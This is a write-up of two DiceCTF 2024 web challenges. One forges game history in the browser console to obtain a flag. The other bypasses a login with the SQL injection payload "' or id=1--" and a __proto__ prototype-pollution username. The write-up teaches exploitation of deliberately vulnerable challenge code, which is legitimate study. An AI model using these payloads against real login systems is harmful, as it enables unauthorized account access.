Dice CTF 2024

Write ups for dicedicegoose & funnylogin from DiceCTF 2024

Web - Dicedicegoose

We are given a web game in which we have to catch a black square with our dice:

the game

If we catch it we win:

win?

Looking through the source code we see that if score = 9, we get the flag that is appended to the history encoded:

  if (score === 9) log("flag: dice{pr0_duck_gam3r_" + encode(history) + "}");
  }

I just simulate the 9 shortest moves with the js console and trigger the win function:

myarray = [[1,1],[9,8]]  
history.push(myarray)
myarray = [[2,1],[9,7]]  
history.push(myarray)
myarray = [[3,1],[9,6]]  
history.push(myarray)
myarray = [[4,1],[9,5]]  
history.push(myarray)
myarray = [[5,1],[9,4]]  
history.push(myarray)
myarray = [[6,1],[9,3]]  
history.push(myarray)
myarray = [[7,1],[9,2]]  
history.push(myarray)
myarray = [[8,1],[9,1]]  
history.push(myarray)
win(history)
flag for dicedicegoose

Web - Funnylogin

We are given a login page:

login page

We are told we need to login as admin.

Inspecting the source code we see that:

1 - Theres an admin:

const isAdmin = {};
const newAdmin = users[Math.floor(Math.random() * users.length)];
isAdmin[newAdmin.user] = true;

2 - User and pass are given in plaintext to an SQL query

const query = `SELECT id FROM users WHERE username = '${user}' AND password = '${pass}';`;

3 - And there are some filters in order to get the flag:

try {
        const id = db.prepare(query).get()?.id;
        if (!id) {
            return res.redirect("/?message=Incorrect username or password");
        }
        console.log(users[id])
	console.log(isAdmin)
        console.log(user)
        if (users[id] && isAdmin[user]) {
            return res.redirect("/?flag=" + encodeURIComponent(FLAG));
        }
        return res.redirect("/?message=This system is currently only available to admins...");
    }
    catch {
        return res.redirect("/?message=Nice try...");
    }

Bypass First Filter (!id)

Te first filter we need to bypass in order to get the flag is that the id must exist, in order to accomplish that we can set in the pass an SQL injection

user=&pass='+or+id=1--

We get as a response:

<p>Found. Redirecting to <a href="/?message=This%20system%20is%20currently%20only%20available%20to%20admins...">/?message=This%20system%20is%20currently%20only%20available%20to%20admins...</a></p>

Bypass Second Filter (isAdmin[user])

We need to give the valid user that is an admin. At first I thought that I had to either inject code or predict the user. But none of my injections worked as desired and the user was not predictable.

Suddenly I came across with the following:

clue

Which from Spanish means:

In Javascript, if an object has no property, it will look in its prototype...

That made me think of a possible way to use a prototype pollution, which indeed succeded:

user=__proto__&pass='+or+id=1--
flag for funnylogin

Last updated